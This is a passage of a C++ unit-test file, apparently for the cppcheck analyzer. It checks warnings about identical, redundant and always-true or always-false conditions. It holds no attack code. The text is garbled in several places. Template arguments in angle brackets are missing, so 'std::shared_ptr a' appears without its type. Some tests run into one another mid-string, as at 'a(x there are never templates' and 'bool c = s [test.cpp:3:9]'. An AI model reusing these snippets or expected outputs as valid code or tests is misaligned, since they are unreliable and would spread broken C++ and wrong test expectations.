errout_str());\n\n check(\"bool f(int a, int b) {\\n\"\n \" if(a == b) { return a == b; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:27]: (warning) Identical inner 'return' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(bool a) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(int* a, int * b) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::shared_ptr a, std::shared_ptr b) {\\n\"\n \" if(a.get()) { return a.get(); }\\n\"\n \" return b.get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int * x; };\\n\"\n \"int* f(A a, int * b) {\\n\"\n \" if(a.x) { return a.x; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" uint32_t value;\\n\"\n \" get_value(&value);\\n\"\n \" int opt_function_capable = (value >> 28) & 1;\\n\"\n \" if (opt_function_capable) {\\n\"\n \" value = 0;\\n\"\n \" get_value (&value);\\n\"\n \" if ((value >> 28) & 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TYPE_1 \\\"a\\\"\\n\" // #13202\n \"#define TYPE_2 \\\"b\\\"\\n\"\n \"#define TYPE_3 \\\"c\\\"\\n\"\n \"void f(const std::string& s) {\\n\"\n \" if (s == TYPE_1) {}\\n\"\n \" else if (s == TYPE_2 || s == TYPE_3) {\\n\"\n \" if (s == TYPE_2) {}\\n\"\n \" else if (s == TYPE_3) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalConditionAfterEarlyExit() {\n check(\"void f(int x) {\\n\" // #8137\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x > 100) { return false; }\\n\"\n \" return x > 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Identical condition and return expression 'x>100', return value is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 || y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 && y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (abc) {}\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" while (abc) { y = x; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(check(\"void f(int x) {\\n\" // #8217 - crash for incomplete code\n \" if (x > 100) { return; }\\n\"\n \" X(do);\\n\"\n \" if (x > 100) {}\\n\"\n \"}\"),\n SYNTAX);\n\n check(\"void f(const int *i) {\\n\"\n \" if (!i) return;\\n\"\n \" if (!num1tok) { *num1 = *num2; }\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:4:7]: (warning) Identical condition '!i', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void C::f(Tree &coreTree) {\\n\" // daca\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C { void f(const Tree &coreTree); };\\n\"\n \"void C::f(const Tree &coreTree) {\\n\"\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6] -> [test.cpp:6:6]: (warning) Identical condition '!coreTree.build()', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // daca: labplot\n \" switch(type) {\\n\"\n \" case 1:\\n\"\n \" if (x == 0) return 1;\\n\"\n \" else return 2;\\n\"\n \" case 2:\\n\"\n \" if (x == 0) return 3;\\n\"\n \" else return 4;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static int failed = 0;\\n\"\n \"void f() {\\n\"\n \" if (failed) return;\\n\"\n \" checkBuffer();\\n\"\n \" if (failed) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca icu\n check(\"void f(const uint32_t *section, int32_t start) {\\n\"\n \" if(10<=section[start]) { return; }\\n\"\n \" if(++start<100 && 10<=section[start]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca iqtree\n check(\"void readNCBITree(std::istream &in) {\\n\"\n \" char ch;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') return;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8924\n check(\"struct A {\\n\"\n \" void f() {\\n\"\n \" if (this->FileIndex >= 0) return;\\n\"\n \" this->FileIndex = 1 ;\\n\"\n \" if (this->FileIndex < 0) return;\\n\"\n \" }\\n\"\n \" int FileIndex;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:29]: (style) Condition 'this->FileIndex<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8858 - #if\n check(\"short Do() {\\n\"\n \" short ret = bar1();\\n\"\n \" if ( ret )\\n\"\n \" return ret;\\n\"\n \"#ifdef FEATURE\\n\"\n \" ret = bar2();\\n\"\n \"#endif\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10456\n check(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" auto f = [&](bool b) { if (b) ++i; };\\n\"\n \" if (i) return i;\\n\"\n \" f(true);\\n\"\n \" if (i) return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11478\n check(\"struct S {\\n\"\n \" void run();\\n\"\n \" bool b = false;\\n\"\n \" const std::function f;\\n\"\n \"};\\n\"\n \"void S::run() {\\n\"\n \" while (true) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" f(*this);\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void innerConditionModified() {\n check(\"void f(int x, int y) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * x, int * y) {\\n\"\n \" if (x[*y] == 0) {\\n\"\n \" (*y)++;\\n\"\n \" if (x[*y] == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // clarify conditions with = and comparison\n void clarifyCondition1() {\n check(\"void f() {\\n\"\n \" if (x = b() < 0) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (assignment + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" for (i = 0; i < 10; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" x = a(); if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x = b < 0 ? 1 : 2) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || (!y && z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || !y && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!a || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant condition: a. '!a || (a && b)' is equivalent to '!a || b' [redundantCondition]\\n\", errout_str());\n\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Redundant condition: tok->next()->function(). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok2->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next(1)->function(1) ||\\n\"\n \" (tok->next(1)->function(1) && tok->next(1)->function(1)->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (style) Redundant condition: tok->next(1)->function(1). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function(1) ||\\n\"\n \" (tok->next()->function(2) && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y==0 || y!=0 && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Redundant condition: y!=0. 'y==0 || (y!=0 && z)' is equivalent to 'y==0 || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x>0 || (x<0 && y)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test Token::expressionString, TODO move this test\n check(\"void f() {\\n\"\n \" if (!dead || (dead && (*it).ticks > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Redundant condition: dead. '!dead || (dead && (*it).ticks>0)' is equivalent to '!dead || (*it).ticks>0' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!x || (x && (2>(y-1)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Redundant condition: x. '!x || (x && 2>(y-1))' is equivalent to '!x || 2>(y-1)' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a || (a && b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a || (a && b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && (a || b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a && (a || b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n }\n\n // clarify conditions with bitwise operator and comparison\n void clarifyCondition2() {\n check(\"void f() {\\n\"\n \" if (x & 3 == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Condition 'x&3==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a & fred1.x == fred2.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n , errout_str());\n }\n\n // clarify condition that uses ! operator and then bitwise operator\n void clarifyCondition3() {\n check(\"void f(int w) {\\n\"\n \" if(!w & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int w) {\\n\"\n \" if((!w) & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x == foo() & 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & x == foo()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & (x == foo())) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list &ints) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { A a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a(x there are never templates\n ASSERT_EQUALS(\"[test.c:1:17]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"class A;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (result != (char *)&inline_result) { }\\n\" // don't simplify and verify cast\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8495\n check(\"void f(bool a, bool b) {\\n\"\n \" C & a & b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition4() { // ticket #3110\n check(\"typedef double SomeType;\\n\"\n \"typedef std::pair PairType;\\n\"\n \"struct S\\n\"\n \"{\\n\"\n \" bool operator()\\n\"\n \" ( PairType const & left\\n\"\n \" , PairType const & right) const\\n\"\n \" {\\n\"\n \" return left.first < right.first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition5() { // ticket #3609 (using | in template instantiation)\n check(\"template struct CWinTraits;\\n\"\n \"CWinTraits::GetWndStyle(0);\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition6() {\n check(\"template\\n\"\n \"SharedPtr& operator=( SharedPtr const & r ) {\\n\"\n \" px = r.px;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition7() {\n // Ensure that binary and unary &, and & in declarations are distinguished properly\n check(\"void f(bool error) {\\n\"\n \" bool & withoutSideEffects=found.first->second;\\n\" // Declaring a reference to a boolean; & is no operator at all\n \" execute(secondExpression, &programMemory, &result, &error);\\n\" // Unary &\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition8() {\n // don't warn when boolean result comes from function call, array index, etc\n // the operator precedence is not unknown then\n check(\"bool a();\\n\"\n \"bool f(bool b) {\\n\"\n \" return (a() & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool *a, bool b) {\\n\"\n \" return (a[10] & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (a.a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (A::a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5895() {\n check(\"void png_parse(uint64_t init, int buf_size) {\\n\"\n \" if (init == 0x89504e470d0a1a0a || init == 0x8a4d4e470d0a1a0a)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5309() {\n check(\"extern uint64_t value;\\n\"\n \"void foo() {\\n\"\n \" if( ( value >= 0x7ff0000000000001ULL )\\n\"\n \" && ( value <= 0x7fffffffffffffffULL ) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrue() {\n\n check(\"void f(const struct S *s) {\\n\" //#8196\n \" int x1 = s->x;\\n\"\n \" int x2 = s->x;\\n\"\n \" if (x1 == 10 && x2 == 10) {}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'x2==10' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f ()\\n\"// #8220\n \"{\\n\"\n \" int a;\\n\"\n \" int b = 0;\\n\"\n \" int ret;\\n\"\n \" \\n\"\n \" a = rand();\\n\"\n \" while (((0 < a) && (a < 2)) && ((8 < a) && (a < 10))) \\n\"\n \" {\\n\"\n \" b += a;\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \" ret = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:27] -> [test.cpp:8:40]: (style) Condition '8 [test.cpp:2:30]: (style) Return value 'x==0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6898 (Token::expressionString)\n \" int x = 0;\\n\"\n \" A(x++ == 1);\\n\"\n \" A(x++ == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'x++==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:9]: (style) Condition 'x++==2' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"bool foo(int bar) {\\n\"\n \" bool ret = false;\\n\"\n \" if (bar == 1)\\n\"\n \" return ret;\\n\" // <- #9326 - FP condition is always false\n \" if (bar == 2)\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() == 0) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (style) Condition 's.size()==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'buf!=0' is always true [knownConditionTrueFalse]\\n\", errout_str()); // #8924\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( !buf ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!buf' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( !b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int * p = nullptr;\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'buf==p' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf || x ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition 'buf' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * p) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int p[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP when condition comes from macro\n check(\"#define NOT !\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (NOT x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define M x != 0\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (M) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define IF(X) if (X && x())\\n\"\n \"void f() {\\n\"\n \" IF(1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP for sizeof condition\n check(\"void f() {\\n\"\n \" if (sizeof(char) != 123) {}\\n\"\n \" if (123 != sizeof(char)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 123;\\n\"\n \" if (sizeof(char) != x) {}\\n\"\n \" if (x != sizeof(char)) {}\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Condition 'sizeof(char)!=x' is always true\\n\"\n \"[test.cpp:4]: (style) Condition 'x!=sizeof(char)' is always true\\n\", \"\", errout_str());\n\n // Don't warn in assertions. Condition is often 'always true' by intention.\n // If platform,defines,etc cause an 'always false' assertion then that is not very dangerous neither\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" assert(x == 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9363 - do not warn about value passed to function\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" if (bar(!b)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #7783 FP knownConditionTrueFalse on assert(0 && \"message\")\n check(\"void foo(int x) {\\n\"\n \" if (x<0)\\n\"\n \" {\\n\"\n \" assert(0 && \\\"bla\\\");\\n\"\n \" ASSERT(0 && \\\"bla\\\");\\n\"\n \" assert_foo(0 && \\\"bla\\\");\\n\"\n \" ASSERT_FOO(0 && \\\"bla\\\");\\n\"\n \" assert((int)(0==0));\\n\"\n \" assert((int)(0==0) && \\\"bla\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8206 - knownCondition always false\n check(\"void f(int i)\\n\"\n \"{\\n\"\n \" if(i > 4)\\n\"\n \" for( int x = 0; i < 3; ++x){}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:29]: (style) Condition 'i<3' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // Skip literals\n check(\"void f() { if(true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!true) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(!false) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { if(1) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" bool b = false;\\n\"\n \" if (i == 0) b = true;\\n\"\n \" else if (!b && i == 1) {}\\n\"\n \" if (b)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Condition '!b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f() { return nullptr; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum E { A };\\n\"\n \"bool f() { return A; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void){return 1/abs(10);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" const int a = 50;\\n\"\n \" const int b = 52;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Return value 'a+b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" int a = 50;\\n\"\n \" int b = 52;\\n\"\n \" a++;\\n\"\n \" b++;\\n\"\n \" return a+b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool& g();\\n\"\n \"bool f() {\\n\"\n \" bool & b = g();\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" bool b;\\n\"\n \" bool f() {\\n\"\n \" b = false;\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(long maxtime) {\\n\"\n \" if (std::time(0) > maxtime)\\n\"\n \" return std::time(0) > maxtime;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double param) {\\n\"\n \" while(bar()) {\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" if (param<0.)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i) {\\n\"\n \" if (i==42)\\n\"\n \" {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" if (cond && (42==i))\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 8842 crash\n check(\"class a {\\n\"\n \" int b;\\n\"\n \" c(b);\\n\"\n \" void f() {\\n\"\n \" if (b) return;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* x, const char* t) {\\n\"\n \" if (!(strcmp(x, y) == 0)) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[]){ if (a == 0){} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" bool operator<(const S&);\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" S s;\\n\"\n \" bool c = s [test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle == 0) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'handle' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != 0) return 